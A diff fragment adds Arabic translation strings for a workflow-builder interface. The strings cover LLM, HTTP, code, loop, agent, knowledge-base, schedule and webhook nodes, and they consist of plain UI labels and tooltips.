+          inLog: 'استثناء العقدة، سيتم تلقائيًا تنفيذ فرع الفشل. سيعيد إخراج العقدة نوع خطأ ورسالة خطأ ويمررهما إلى المصب.',
+        },
+        partialSucceeded: {
+          tip: 'هناك {{num}} عقد في العملية تعمل بشكل غير طبيعي، يرجى الانتقال إلى التتبع للتحقق من السجلات.',
+        },
+      },
+      retry: {
+        retry: 'إعادة المحاولة',
+        retryOnFailure: 'إعادة المحاولة عند الفشل',
+        maxRetries: 'الحد الأقصى لإعادة المحاولة',
+        retryInterval: 'فاصل إعادة المحاولة',
+        retryTimes: 'أعد المحاولة {{times}} مرات عند الفشل',
+        retrying: 'جارٍ إعادة المحاولة...',
+        retrySuccessful: 'تمت إعادة المحاولة بنجاح',
+        retryFailed: 'فشلت إعادة المحاولة',
+        retryFailedTimes: 'فشلت {{times}} إعادة المحاولة',
+        times: 'مرات',
+        ms: 'مللي ثانية',
+        retries: '{{num}} إعادة محاولة',
+      },
+      typeSwitch: {
+        input: 'قيمة الإدخال',
+        variable: 'استخدام متغير',
+      },
+      inputVars: 'متغيرات الإدخال',
+      pluginNotInstalled: 'الإضافة غير مثبتة',
+    },
+    start: {
+      required: 'مطلوب',
+      inputField: 'حقل الإدخال',
+      builtInVar: 'المتغيرات المدمجة',
+      outputVars: {
+        query: 'إدخال المستخدم',
+        memories: {
+          des: 'سجل المحادثة',
+          type: 'نوع الرسالة',
+          content: 'محتوى الرسالة',
+        },
+        files: 'قائمة الملفات',
+      },
+      noVarTip: 'تعيين المدخلات التي يمكن استخدامها في سير العمل',
+    },
+    end: {
+      outputs: 'المخرجات',
+      output: {
+        type: 'نوع الإخراج',
+        variable: 'متغير الإخراج',
+      },
+      type: {
+        'none': 'لا شيء',
+        'plain-text': 'نص عادي',
+        'structured': 'منظم',
+      },
+    },
+    answer: {
+      answer: 'إجابة',
+      outputVars: 'متغيرات الإخراج',
+    },
+    llm: {
+      model: 'النموذج',
+      variables: 'المتغيرات',
+      context: 'السياق',
+      contextTooltip: 'يمكنك استيراد المعرفة كسياق',
+      notSetContextInPromptTip: 'لتمكين ميزة السياق، يرجى ملء متغير السياق في PROMPT.',
+      prompt: 'المطالبة',
+      roleDescription: {
+        system: 'أعط تعليمات عالية المستوى للمحادثة',
+        user: 'قدم تعليمات أو استفسارات أو أي إدخال نصي للنموذج',
+        assistant: 'استجابات النموذج بناءً على رسائل المستخدم',
+      },
+      addMessage: 'إضافة رسالة',
+      vision: 'الرؤية',
+      files: 'الملفات',
+      resolution: {
+        name: 'الدقة',
+        high: 'عالية',
+        low: 'منخفضة',
+      },
+      outputVars: {
+        output: 'إنشاء محتوى',
+        reasoning_content: 'محتوى التفكير',
+        usage: 'معلومات استخدام النموذج',
+      },
+      singleRun: {
+        variable: 'متغير',
+      },
+      sysQueryInUser: 'sys.query في رسالة المستخدم مطلوب',
+      reasoningFormat: {
+        title: 'تمكين فصل علامة التفكير',
+        tagged: 'الاحتفاظ بعلامات التفكير',
+        separated: 'فصل علامات التفكير',
+        tooltip: 'استخراج المحتوى من علامات التفكير وتخزينه في حقل content_reasoning.',
+      },
+      jsonSchema: {
+        title: 'مخطط الإخراج المنظم',
+        instruction: 'تعليمات',
+        promptTooltip: 'تحويل الوصف النصي إلى هيكل مخطط JSON موحد.',
+        promptPlaceholder: 'صف مخطط JSON الخاص بك ...',
+        generate: 'توليد',
+        import: 'استيراد من JSON',
+        generateJsonSchema: 'توليد مخطط JSON',
+        generationTip: 'يمكنك استخدام اللغة الطبيعية لإنشاء مخطط JSON بسرعة.',
+        generating: 'توليد مخطط JSON ...',
+        generatedResult: 'النتائج المولدة',
+        resultTip: 'إليك النتائج المولدة. إذا لم تكن راضيًا، يمكنك العودة وتعديل مطالبتك.',
+        back: 'رجوع',
+        regenerate: 'إعادة التوليد',
+        apply: 'تطبيق',
+        doc: 'معرفة المزيد عن الإخراج المنظم',
+        resetDefaults: 'إعادة تعيين',
+        required: 'مطلوب',
+        addField: 'إضافة حقل',
+        addChildField: 'إضافة حقل فرعي',
+        showAdvancedOptions: 'عرض الخيارات المتقدمة',
+        stringValidations: 'التحقق من صحة السلسلة',
+        fieldNamePlaceholder: 'اسم الحقل',
+        descriptionPlaceholder: 'إضافة وصف',
+        warningTips: {
+          saveSchema: 'الرجاء إنهاء تحرير الحقل الحالي قبل حفظ المخطط',
+        },
+      },
+    },
+    knowledgeRetrieval: {
+      queryVariable: 'متغير الاستعلام',
+      knowledge: 'المعرفة',
+      outputVars: {
+        output: 'استرجاع البيانات المقسمة',
+        content: 'المحتوى المقسم',
+        title: 'العنوان المقسم',
+        icon: 'أيقونة مقسمة',
+        url: 'عنوان URL المقسم',
+        metadata: 'بيانات وصفية أخرى',
+        files: 'الملفات المسترجعة',
+      },
+      metadata: {
+        title: 'تصفية البيانات الوصفية',
+        tip: 'تصفية البيانات الوصفية هي عملية استخدام سمات البيانات الوصفية (مثل العلامات، الفئات، أو أذونات الوصول) لتحسين والتحكم في استرجاع المعلومات ذات الصلة داخل النظام.',
+        options: {
+          disabled: {
+            title: 'معطل',
+            subTitle: 'عدم تمكين تصفية البيانات الوصفية',
+          },
+          automatic: {
+            title: 'تلقائي',
+            subTitle: 'إنشاء شروط تصفية البيانات الوصفية تلقائيًا بناءً على استعلام المستخدم',
+            desc: 'إنشاء شروط تصفية البيانات الوصفية تلقائيًا بناءً على متغير الاستعلام',
+          },
+          manual: {
+            title: 'يدوي',
+            subTitle: 'إضافة شروط تصفية البيانات الوصفية يدويًا',
+          },
+        },
+        panel: {
+          title: 'شروط تصفية البيانات الوصفية',
+          conditions: 'الشروط',
+          add: 'إضافة شرط',
+          search: 'بحث في البيانات الوصفية',
+          placeholder: 'أدخل قيمة',
+          datePlaceholder: 'اختر وقتًا...',
+          select: 'حدد متغيرًا...',
+        },
+      },
+      queryText: 'نص الاستعلام',
+      queryAttachment: 'استعلام الصور',
+    },
+    http: {
+      inputVars: 'متغيرات الإدخال',
+      api: 'API',
+      apiPlaceholder: 'أدخل URL، واكتب \'/\' لإدراج متغير',
+      extractListPlaceholder: 'أدخل فهرس عنصر القائمة، واكتب \'/\' لإدراج متغير',
+      notStartWithHttp: 'يجب أن يبدأ API بـ http:// أو https://',
+      key: 'المفتاح',
+      type: 'النوع',
+      value: 'القيمة',
+      bulkEdit: 'تحرير مجمع',
+      keyValueEdit: 'تحرير المفتاح والقيمة',
+      headers: 'الرؤوس',
+      params: 'المعلمات',
+      body: 'الجسم',
+      binaryFileVariable: 'متغير ملف ثنائي',
+      outputVars: {
+        body: 'محتوى الاستجابة',
+        statusCode: 'رمز حالة الاستجابة',
+        headers: 'قائمة رؤوس الاستجابة JSON',
+        files: 'قائمة الملفات',
+      },
+      authorization: {
+        'authorization': 'تخويل',
+        'authorizationType': 'نوع التخويل',
+        'no-auth': 'لا شيء',
+        'api-key': 'مفتاح API',
+        'auth-type': 'نوع المصادقة',
+        'basic': 'أساسي',
+        'bearer': 'Bearer',
+        'custom': 'مخصص',
+        'api-key-title': 'مفتاح API',
+        'header': 'Header',
+      },
+      insertVarPlaceholder: 'اكتب \'/\' لإدراج متغير',
+      timeout: {
+        title: 'المهلة',
+        connectLabel: 'مهلة الاتصال',
+        connectPlaceholder: 'أدخل مهلة الاتصال بالثواني',
+        readLabel: 'مهلة القراءة',
+        readPlaceholder: 'أدخل مهلة القراءة بالثواني',
+        writeLabel: 'مهلة الكتابة',
+        writePlaceholder: 'أدخل مهلة الكتابة بالثواني',
+      },
+      curl: {
+        title: 'استيراد من cURL',
+        placeholder: 'لصق سلسلة cURL هنا',
+      },
+      verifySSL: {
+        title: 'التحقق من شهادة SSL',
+        warningTooltip: 'لا يوصى بتعطيل التحقق من SSL لبيئات الإنتاج. يجب استخدامه فقط في التطوير أو الاختبار، حيث إنه يجعل الاتصال عرضة لتهديدات الأمان مثل هجمات الوسيط.',
+      },
+    },
+    code: {
+      inputVars: 'متغيرات الإدخال',
+      outputVars: 'متغيرات الإخراج',
+      advancedDependencies: 'التبعيات المتقدمة',
+      advancedDependenciesTip: 'أضف بعض التبعيات المحملة مسبقًا التي تستغرق وقتًا أطول للاستهلاك أو ليست افتراضية مضمنة هنا',
+      searchDependencies: 'بحث في التبعيات',
+      syncFunctionSignature: 'مزامنة توقيع الوظيفة للكود',
+    },
+    templateTransform: {
+      inputVars: 'متغيرات الإدخال',
+      code: 'الكود',
+      codeSupportTip: 'يدعم Jinja2 فقط',
+      outputVars: {
+        output: 'المحتوى المحول',
+      },
+    },
+    ifElse: {
+      if: 'If',
+      else: 'Else',
+      elseDescription: 'يستخدم لتحديد المنطق الذي ينبغي تنفيذه عندما لا يتم استيفاء شرط if.',
+      and: 'و',
+      or: 'أو',
+      operator: 'المشغل',
+      notSetVariable: 'الرجاء تعيين المتغير أولاً',
+      comparisonOperator: {
+        'contains': 'يحتوي على',
+        'not contains': 'لا يحتوي على',
+        'start with': 'يبدأ بـ',
+        'end with': 'ينتهي بـ',
+        'is': 'هو',
+        'is not': 'ليس',
+        'empty': 'فارغ',
+        'not empty': 'ليس فارغًا',
+        'null': 'null',
+        'not null': 'ليس null',
+        'in': 'في',
+        'not in': 'ليس في',
+        'all of': 'كل من',
+        'exists': 'موجود',
+        'not exists': 'غير موجود',
+        'before': 'قبل',
+        'after': 'بعد',
+      },
+      optionName: {
+        image: 'صورة',
+        doc: 'مستند',
+        audio: 'صوت',
+        video: 'فيديو',
+        localUpload: 'تحميل محلي',
+        url: 'URL',
+      },
+      enterValue: 'أدخل قيمة',
+      addCondition: 'إضافة شرط',
+      conditionNotSetup: 'لم يتم إعداد الشرط',
+      selectVariable: 'حدد متغيرًا...',
+      addSubVariable: 'متغير فرعي',
+      select: 'تحديد',
+    },
+    variableAssigner: {
+      title: 'تعيين المتغيرات',
+      outputType: 'نوع الإخراج',
+      varNotSet: 'المتغير غير معين',
+      noVarTip: 'أضف المتغيرات التي سيتم تعيينها',
+      type: {
+        string: 'سلسلة',
+        number: 'رقم',
+        object: 'كائن',
+        array: 'مصفوفة',
+      },
+      aggregationGroup: 'مجموعة التجميع',
+      aggregationGroupTip: 'يسمح تمكين هذه الميزة لمجمع المتغيرات بتجميع مجموعات متعددة من المتغيرات.',
+      addGroup: 'إضافة مجموعة',
+      outputVars: {
+        varDescribe: 'إخراج {{groupName}}',
+      },
+      setAssignVariable: 'تعيين متغير التعيين',
+    },
+    assigner: {
+      'assignedVariable': 'المتغير المعين',
+      'varNotSet': 'المتغير غير معين',
+      'variables': 'المتغيرات',
+      'noVarTip': 'انقر على زر "+" لإضافة متغيرات',
+      'writeMode': 'وضع الكتابة',
+      'writeModeTip': 'وضع الإلحاق: متاح لمتغيرات المصفوفة فقط.',
+      'over-write': 'الكتابة الفوقية',
+      'append': 'إلحاق',
+      'plus': 'إضافة',
+      'clear': 'مسح',
+      'setVariable': 'تعيين المتغير',
+      'selectAssignedVariable': 'حدد المتغير المعين...',
+      'setParameter': 'تعيين المعلمة...',
+      'operations': {
+        'title': 'عملية',
+        'over-write': 'الكتابة الفوقية',
+        'overwrite': 'الكتابة الفوقية',
+        'set': 'تعيين',
+        'clear': 'مسح',
+        'extend': 'تمديد',
+        'append': 'إلحاق',
+        'remove-first': 'إزالة الأول',
+        'remove-last': 'إزالة الأخير',
+        '+=': '+=',
+        '-=': '-=',
+        '*=': '*=',
+        '/=': '/=',
+      },
+      'variable': 'متغير',
+      'noAssignedVars': 'لا توجد متغيرات معينة متاحة',
+      'assignedVarsDescription': 'يجب أن تكون المتغيرات المعينة متغيرات قابلة للكتابة، مثل متغيرات المحادثة.',
+    },
+    tool: {
+      authorize: 'تخويل',
+      inputVars: 'متغيرات الإدخال',
+      settings: 'الإعدادات',
+      insertPlaceholder1: 'اكتب أو اضغط',
+      insertPlaceholder2: 'لإدراج متغير',
+      outputVars: {
+        text: 'محتوى تم إنشاؤه بواسطة الأداة',
+        files: {
+          title: 'ملفات تم إنشاؤها بواسطة الأداة',
+          type: 'نوع الدعم. الآن يدعم الصورة فقط',
+          transfer_method: 'طريقة النقل. القيمة هي remote_url أو local_file',
+          url: 'رابط الصورة',
+          upload_file_id: 'معرف ملف التحميل',
+        },
+        json: 'json تم إنشاؤه بواسطة الأداة',
+      },
+    },
+    triggerPlugin: {
+      authorized: 'مخول',
+      notConfigured: 'لم يتم التكوين',
+      notAuthorized: 'غير مخول',
+      selectSubscription: 'تصديق الاشتراك',
+      availableSubscriptions: 'الاشتراكات المتاحة',
+      addSubscription: 'إضافة اشتراك جديد',
+      removeSubscription: 'إزالة الاشتراك',
+      subscriptionRemoved: 'تمت إزالة الاشتراك بنجاح',
+      error: 'خطأ',
+      configuration: 'التكوين',
+      remove: 'إزالة',
+      or: 'أو',
+      useOAuth: 'استخدام OAuth',
+      useApiKey: 'استخدام مفتاح API',
+      authenticationFailed: 'فشلت المصادقة',
+      authenticationSuccess: 'نجحت المصادقة',
+      oauthConfigFailed: 'فشل تكوين OAuth',
+      configureOAuthClient: 'تكوين عميل OAuth',
+      oauthClientDescription: 'تكوين بيانات اعتماد عميل OAuth لتمكين المصادقة',
+      oauthClientSaved: 'تم حفظ تكوين عميل OAuth بنجاح',
+      configureApiKey: 'تكوين مفتاح API',
+      apiKeyDescription: 'تكوين بيانات اعتماد مفتاح API للمصادقة',
+      apiKeyConfigured: 'تم تكوين مفتاح API بنجاح',
+      configurationFailed: 'فشل التكوين',
+      failedToStart: 'فشل بدء تدفق المصادقة',
+      credentialsVerified: 'تم التحقق من بيانات الاعتماد بنجاح',
+      credentialVerificationFailed: 'فشل التحقق من بيانات الاعتماد',
+      verifyAndContinue: 'تحقق ومتابعة',
+      configureParameters: 'تكوين المعلمات',
+      parametersDescription: 'تكوين معلمات المشغل والخصائص',
+      configurationComplete: 'اكتمل التكوين',
+      configurationCompleteDescription: 'تم تكوين المشغل الخاص بك بنجاح',
+      configurationCompleteMessage: 'اكتمل تكوين المشغل الخاص بك الآن وهو جاهز للاستخدام.',
+      parameters: 'المعلمات',
+      properties: 'الخصائص',
+      propertiesDescription: 'خصائص تكوين إضافية لهذا المشغل',
+      noConfigurationRequired: 'لا يلزم تكوين إضافي لهذا المشغل.',
+      subscriptionName: 'اسم الاشتراك',
+      subscriptionNameDescription: 'أدخل اسمًا فريدًا لاشتراك المشغل هذا',
+      subscriptionNamePlaceholder: 'أدخل اسم الاشتراك...',
+      subscriptionNameRequired: 'اسم الاشتراك مطلوب',
+      subscriptionRequired: 'الاشتراك مطلوب',
+    },
+    questionClassifiers: {
+      model: 'النموذج',
+      inputVars: 'متغيرات الإدخال',
+      outputVars: {
+        className: 'اسم الفئة',
+        usage: 'معلومات استخدام النموذج',
+      },
+      class: 'فئة',
+      classNamePlaceholder: 'اكتب اسم الفئة الخاصة بك',
+      advancedSetting: 'إعدادات متقدمة',
+      topicName: 'اسم الموضوع',
+      topicPlaceholder: 'اكتب اسم الموضوع الخاص بك',
+      addClass: 'إضافة فئة',
+      instruction: 'تعليمات',
+      instructionTip: 'أدخل تعليمات إضافية لمساعدة مصنف الأسئلة على فهم كيفية تصنيف الأسئلة بشكل أفضل.',
+      instructionPlaceholder: 'اكتب تعليماتك',
+    },
+    parameterExtractor: {
+      inputVar: 'متغير الإدخال',
+      outputVars: {
+        isSuccess: 'هو نجاح. عند النجاح تكون القيمة 1، عند الفشل تكون القيمة 0.',
+        errorReason: 'سبب الخطأ',
+        usage: 'معلومات استخدام النموذج',
+      },
+      extractParameters: 'استخراج المعلمات',
+      importFromTool: 'استيراد من الأدوات',
+      addExtractParameter: 'إضافة معلمة استخراج',
+      addExtractParameterContent: {
+        name: 'الاسم',
+        namePlaceholder: 'اسم معلمة الاستخراج',
+        type: 'النوع',
+        typePlaceholder: 'نوع معلمة الاستخراج',
+        description: 'الوصف',
+        descriptionPlaceholder: 'وصف معلمة الاستخراج',
+        required: 'مطلوب',
+        requiredContent: 'مطلوب يستخدم فقط كمرجع لاستدلال النموذج، وليس للتحقق الإلزامي من إخراج المعلمة.',
+      },
+      extractParametersNotSet: 'لم يتم إعداد استخراج المعلمات',
+      instruction: 'تعليمات',
+      instructionTip: 'أدخل تعليمات إضافية لمساعدة مستخرج المعلمات على فهم كيفية استخراج المعلمات.',
+      advancedSetting: 'إعدادات متقدمة',
+      reasoningMode: 'وضع التفكير',
+      reasoningModeTip: 'يمكنك اختيار وضع التفكير المناسب بناءً على قدرة النموذج على الاستجابة للتعليمات لاستدعاء الوظيفة أو المطالبات.',
+    },
+    iteration: {
+      deleteTitle: 'حذف عقدة التكرار؟',
+      deleteDesc: 'سيؤدي حذف عقدة التكرار إلى حذف جميع العقد الفرعية',
+      input: 'إدخال',
+      output: 'متغيرات الإخراج',
+      iteration_one: '{{count}} تكرار',
+      iteration_other: '{{count}} تكرارات',
+      currentIteration: 'التكرار الحالي',
+      comma: '، ',
+      error_one: '{{count}} خطأ',
+      error_other: '{{count}} أخطاء',
+      parallelMode: 'الوضع المتوازي',
+      parallelModeUpper: 'الوضع المتوازي',
+      parallelModeEnableTitle: 'تم تمكين الوضع المتوازي',
+      parallelModeEnableDesc: 'في الوضع المتوازي، تدعم المهام داخل التكرارات التنفيذ المتوازي. يمكنك تكوين هذا في لوحة الخصائص على اليمين.',
+      parallelPanelDesc: 'في الوضع المتوازي، تدعم المهام في التكرار التنفيذ المتوازي.',
+      MaxParallelismTitle: 'الحد الأقصى للتوازي',
+      MaxParallelismDesc: 'يتم استخدام الحد الأقصى للتوازي للتحكم في عدد المهام التي يتم تنفيذها في وقت واحد في تكرار واحد.',
+      errorResponseMethod: 'طريقة استجابة الخطأ',
+      ErrorMethod: {
+        operationTerminated: 'تم الإنهاء',
+        continueOnError: 'متابعة عند الخطأ',
+        removeAbnormalOutput: 'إزالة الإخراج غير الطبيعي',
+      },
+      answerNodeWarningDesc: 'تحذير الوضع المتوازي: قد تتسبب عقد الإجابة وتعيينات متغيرات المحادثة وعمليات القراءة/الكتابة الدائمة داخل التكرارات في حدوث استثناءات.',
+      flattenOutput: 'تسطيح الإخراج',
+      flattenOutputDesc: 'عند التمكين، إذا كانت جميع مخرجات التكرار مصفوفات، فسيتم تسطيحها في مصفوفة واحدة. عند التعطيل، ستحافظ المخرجات على هيكل مصفوفة متداخلة.',
+    },
+    loop: {
+      deleteTitle: 'حذف عقدة الحلقة؟',
+      deleteDesc: 'سيؤدي حذف عقدة الحلقة إلى إزالة جميع العقد الفرعية',
+      input: 'إدخال',
+      output: 'متغير الإخراج',
+      loop_one: '{{count}} حلقة',
+      loop_other: '{{count}} حلقات',
+      currentLoop: 'الحلقة الحالية',
+      comma: '، ',
+      error_one: '{{count}} خطأ',
+      error_other: '{{count}} أخطاء',
+      breakCondition: 'شرط إنهاء الحلقة',
+      breakConditionTip: 'يمكن الإشارة فقط إلى المتغيرات داخل الحلقات ذات شروط الإنهاء ومتغيرات المحادثة.',
+      loopMaxCount: 'الحد الأقصى لعدد الحلقات',
+      loopMaxCountError: 'الرجاء إدخال حد أقصى صالح لعدد الحلقات، يتراوح بين 1 و {{maxCount}}',
+      errorResponseMethod: 'طريقة استجابة الخطأ',
+      ErrorMethod: {
+        operationTerminated: 'تم الإنهاء',
+        continueOnError: 'متابعة عند الخطأ',
+        removeAbnormalOutput: 'إزالة الإخراج غير الطبيعي',
+      },
+      loopVariables: 'متغيرات الحلقة',
+      initialLoopVariables: 'متغيرات الحلقة الأولية',
+      finalLoopVariables: 'متغيرات الحلقة النهائية',
+      setLoopVariables: 'تعيين المتغيرات داخل نطاق الحلقة',
+      variableName: 'اسم المتغير',
+      inputMode: 'وضع الإدخال',
+      exitConditionTip: 'تحتاج عقدة الحلقة إلى شرط خروج واحد على الأقل',
+      loopNode: 'عقدة الحلقة',
+      currentLoopCount: 'عدد الحلقات الحالي: {{count}}',
+      totalLoopCount: 'إجمالي عدد الحلقات: {{count}}',
+    },
+    note: {
+      addNote: 'إضافة ملاحظة',
+      editor: {
+        placeholder: 'اكتب ملاحظتك...',
+        small: 'صغير',
+        medium: 'متوسط',
+        large: 'كبير',
+        bold: 'غامق',
+        italic: 'مائل',
+        strikethrough: 'يتوسطه خط',
+        link: 'رابط',
+        openLink: 'فتح',
+        unlink: 'إلغاء الرابط',
+        enterUrl: 'أدخل URL...',
+        invalidUrl: 'URL غير صالح',
+        bulletList: 'قائمة نقطية',
+        showAuthor: 'عرض المؤلف',
+      },
+    },
+    docExtractor: {
+      inputVar: 'متغير الإدخال',
+      outputVars: {
+        text: 'نص مستخرج',
+      },
+      supportFileTypes: 'أنواع الملفات المدعومة: {{types}}.',
+      learnMore: 'تعرف على المزيد',
+    },
+    listFilter: {
+      inputVar: 'متغير الإدخال',
+      filterCondition: 'شرط التصفية',
+      filterConditionKey: 'مفتاح شرط التصفية',
+      extractsCondition: 'استخراج العنصر N',
+      filterConditionComparisonOperator: 'مشغل مقارنة شرط التصفية',
+      filterConditionComparisonValue: 'قيمة شرط التصفية',
+      selectVariableKeyPlaceholder: 'حدد مفتاح المتغير الفرعي',
+      limit: 'أعلى N',
+      orderBy: 'ترتيب حسب',
+      asc: 'ASC',
+      desc: 'DESC',
+      outputVars: {
+        result: 'نتيجة التصفية',
+        first_record: 'السجل الأول',
+        last_record: 'السجل الأخير',
+      },
+    },
+    agent: {
+      strategy: {
+        label: 'استراتيجية الوكيل',
+        tooltip: 'تحدد استراتيجيات الوكيل المختلفة كيفية تخطيط النظام وتنفيذ استدعاءات الأدوات متعددة الخطوات',
+        shortLabel: 'استراتيجية',
+        configureTip: 'يرجى تكوين استراتيجية الوكيل.',
+        configureTipDesc: 'بعد تكوين استراتيجية الوكيل، ستقوم هذه العقدة تلقائيًا بتحميل التكوينات المتبقية. ستؤثر الاستراتيجية على آلية التفكير في الأدوات متعددة الخطوات. ',
+        selectTip: 'حدد استراتيجية الوكيل',
+        searchPlaceholder: 'بحث في استراتيجية الوكيل',
+      },
+      learnMore: 'تعرف على المزيد',
+      pluginNotInstalled: 'هذا الملحق غير مثبت',
+      pluginNotInstalledDesc: 'تم تثبيت هذا الملحق من GitHub. يرجى الانتقال إلى الملحقات لإعادة التثبيت',
+      linkToPlugin: 'رابط للإضافات',
+      pluginInstaller: {
+        install: 'تثبيت',
+        installing: 'جاري التثبيت',
+      },
+      modelNotInMarketplace: {
+        title: 'النموذج غير مثبت',
+        desc: 'تم تثبيت هذا النموذج من مستودع محلي أو GitHub. الرجاء استخدامه بعد التثبيت.',
+        manageInPlugins: 'إدارة في الإضافات',
+      },
+      modelNotSupport: {
+        title: 'نموذج غير مدعوم',
+        desc: 'لا يوفر إصدار الملحق المثبت هذا النموذج.',
+        descForVersionSwitch: 'لا يوفر إصدار الملحق المثبت هذا النموذج. انقر لتبديل الإصدار.',
+      },
+      configureModel: 'تكوين النموذج',
+      notAuthorized: 'غير مخول',
+      model: 'النموذج',
+      toolbox: 'صندوق الأدوات',
+      strategyNotSet: 'لم يتم تعيين استراتيجية الوكيل',
+      tools: 'الأدوات',
+      maxIterations: 'الحد الأقصى للتكرارات',
+      modelNotSelected: 'النموذج غير محدد',
+      modelNotInstallTooltip: 'هذا النموذج غير مثبت',
+      toolNotInstallTooltip: '{{tool}} غير مثبت',
+      toolNotAuthorizedTooltip: '{{tool}} غير مخول',
+      strategyNotInstallTooltip: '{{strategy}} غير مثبتة',
+      unsupportedStrategy: 'استراتيجية غير مدعومة',
+      pluginNotFoundDesc: 'تم تثبيت هذا الملحق من GitHub. يرجى الانتقال إلى الملحقات لإعادة التثبيت',
+      strategyNotFoundDesc: 'لا يوفر إصدار الملحق المثبت هذه الاستراتيجية.',
+      strategyNotFoundDescAndSwitchVersion: 'لا يوفر إصدار الملحق المثبت هذه الاستراتيجية. انقر لتبديل الإصدار.',
+      modelSelectorTooltips: {
+        deprecated: 'تم إهمال هذا النموذج',
+      },
+      outputVars: {
+        text: 'محتوى تم إنشاؤه بواسطة الوكيل',
+        usage: 'معلومات استخدام النموذج',
+        files: {
+          title: 'ملفات تم إنشاؤها بواسطة الوكيل',
+          type: 'نوع الدعم. الآن يدعم الصورة فقط',
+          transfer_method: 'طريقة النقل. القيمة هي remote_url أو local_file',
+          url: 'رابط الصورة',
+          upload_file_id: 'معرف ملف التحميل',
+        },
+        json: 'json تم إنشاؤه بواسطة الوكيل',
+      },
+      checkList: {
+        strategyNotSelected: 'الاستراتيجية غير محددة',
+      },
+      installPlugin: {
+        title: 'تثبيت الإضافة',
+        desc: 'على وشك تثبيت الإضافة التالية',
+        changelog: 'سجل التغييرات',
+        install: 'تثبيت',
+        cancel: 'إلغاء',
+      },
+      clickToViewParameterSchema: 'انقر لعرض مخطط المعلمة',
+      parameterSchema: 'مخطط المعلمة',
+    },
+    dataSource: {
+      supportedFileFormats: 'تنسيقات الملفات المدعومة',
+      supportedFileFormatsPlaceholder: 'امتداد الملف، مثل doc',
+      add: 'إضافة مصدر بيانات',
+    },
+    knowledgeBase: {
+      chunkStructure: 'هيكل القطعة',
+      chooseChunkStructure: 'اختر هيكل القطعة',
+      chunkStructureTip: {
+        title: 'الرجاء اختيار هيكل القطعة',
+        message: 'تدعم قاعدة المعرفة Dify ثلاثة هياكل للقطع: عام، وأصل-طفل، وسؤال وجواب. يمكن أن يكون لكل قاعدة معرفة هيكل واحد فقط. يجب أن يتوافق الإخراج من العقدة السابقة مع هيكل القطعة المحدد. لاحظ أن اختيار هيكل القطع يؤثر على طرق الفهرسة المتاحة.',
+        learnMore: 'تعرف على المزيد',
+      },
+      changeChunkStructure: 'تغيير هيكل القطعة',
+      chunksInput: 'القطع',
+      chunksInputTip: 'متغير الإدخال لعقدة قاعدة المعرفة هو Pieces. نوع المتغير هو كائن بمخطط JSON محدد يجب أن يكون متسقًا مع هيكل القطعة المحدد.',
+      aboutRetrieval: 'حول طريقة الاسترجاع.',
+      chunkIsRequired: 'هيكل القطعة مطلوب',
+      indexMethodIsRequired: 'طريقة الفهرسة مطلوبة',
+      chunksVariableIsRequired: 'متغير القطع مطلوب',
+      embeddingModelIsRequired: 'نموذج التضمين مطلوب',
+      embeddingModelIsInvalid: 'نموذج التضمين غير صالح',
+      retrievalSettingIsRequired: 'إعداد الاسترجاع مطلوب',
+      rerankingModelIsRequired: 'نموذج إعادة الترتيب مطلوب',
+      rerankingModelIsInvalid: 'نموذج إعادة الترتيب غير صالح',
+    },
+    triggerSchedule: {
+      title: 'الجدول الزمني',
+      nodeTitle: 'جدولة المشغل',
+      notConfigured: 'لم يتم التكوين',
+      useCronExpression: 'استخدم تعبير cron',
+      useVisualPicker: 'استخدم منتقي مرئي',
+      frequency: {
+        label: 'التكرار',
+        hourly: 'كل ساعة',
+        daily: 'يوميًا',
+        weekly: 'أسبوعيًا',
+        monthly: 'شهريًا',
+      },
+      selectFrequency: 'حدد التكرار',
+      frequencyLabel: 'التكرار',
+      nextExecution: 'التنفيذ التالي',
+      weekdays: 'أيام الأسبوع',
+      time: 'الوقت',
+      cronExpression: 'تعبير Cron',
+      nextExecutionTime: 'وقت التنفيذ التالي',
+      nextExecutionTimes: 'أوقات التنفيذ الـ 5 التالية',
+      startTime: 'وقت البدء',
+      executeNow: 'التنفيذ الآن',
+      selectDateTime: 'حدد التاريخ والوقت',
+      hours: 'الساعات',
+      minutes: 'الدقائق',
+      onMinute: 'في الدقيقة',
+      days: 'الأيام',
+      lastDay: 'اليوم الأخير',
+      lastDayTooltip: 'ليست كل الأشهر 31 يومًا. استخدم خيار "اليوم الأخير" لتحديد اليوم الأخير من كل شهر.',
+      mode: 'الوضع',
+      timezone: 'المنطقة الزمنية',
+      visualConfig: 'التكوين المرئي',
+      monthlyDay: 'يوم شهري',
+      executionTime: 'وقت التنفيذ',
+      invalidTimezone: 'منطقة زمنية غير صالحة',
+      invalidCronExpression: 'تعبير cron غير صالح',
+      noValidExecutionTime: 'لا يمكن حساب وقت تنفيذ صالح',
+      executionTimeCalculationError: 'فشل حساب أوقات التنفيذ',
+      invalidFrequency: 'تكرار غير صالح',
+      invalidStartTime: 'وقت البدء غير صالح',
+      startTimeMustBeFuture: 'يجب أن يكون وقت البدء في المستقبل',
+      invalidTimeFormat: 'تنسيق الوقت غير صالح (المتوقع HH:MM AM/PM)',
+      invalidWeekday: 'يوم أسبوع غير صالح: {{weekday}}',
+      invalidMonthlyDay: 'يجب أن يكون اليوم الشهري بين 1-31 أو "last"',
+      invalidOnMinute: 'يجب أن تكون الدقيقة بين 0-59',
+      invalidExecutionTime: 'وقت التنفيذ غير صالح',
+      executionTimeMustBeFuture: 'يجب أن يكون وقت التنفيذ في المستقبل',
+    },
+    triggerWebhook: {
+      title: 'مشغل Webhook',
+      nodeTitle: '🔗 مشغل Webhook',
+      configPlaceholder: 'سيتم تنفيذ تكوين مشغل webhook هنا',
+      webhookUrl: 'Webhook URL',
+      webhookUrlPlaceholder: 'انقر فوق إنشاء لإنشاء عنوان URL لـ webhook',
+      generate: 'توليد',
+      copy: 'نسخ',
+      test: 'اختبار',
+      urlGenerated: 'تم إنشاء عنوان URL لـ webhook بنجاح',
+      urlGenerationFailed: 'فشل إنشاء عنوان URL لـ webhook',
+      urlCopied: 'تم نسخ عنوان URL إلى الحافظة',
+      method: 'الطريقة',
+      contentType: 'نوع المحتوى',
+      queryParameters: 'معلمات الاستعلام',
+      headerParameters: 'معلمات الرأس',
+      requestBodyParameters: 'معلمات جسم الطلب',
+      parameterName: 'اسم المتغير',
+      varName: 'اسم المتغير',
+      varType: 'النوع',
+      varNamePlaceholder: 'أدخل اسم المتغير...',
+      required: 'مطلوب',
+      addParameter: 'إضافة',
+      addHeader: 'إضافة',
+      noParameters: 'لم يتم تكوين أي معلمات',
+      noQueryParameters: 'لم يتم تكوين أي معلمات استعلام',
+      noHeaders: 'لم يتم تكوين أي رؤوس',
